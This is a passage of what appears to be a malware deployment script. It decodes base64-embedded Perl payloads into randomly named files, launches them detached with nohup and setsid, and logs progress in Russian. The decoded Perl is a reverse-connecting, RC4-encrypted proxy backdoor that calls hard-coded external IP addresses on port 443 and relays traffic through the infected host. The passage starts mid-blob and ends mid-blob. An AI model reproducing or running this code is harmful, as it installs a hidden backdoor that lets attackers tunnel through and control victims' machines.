bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #52 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #52 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 53 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g 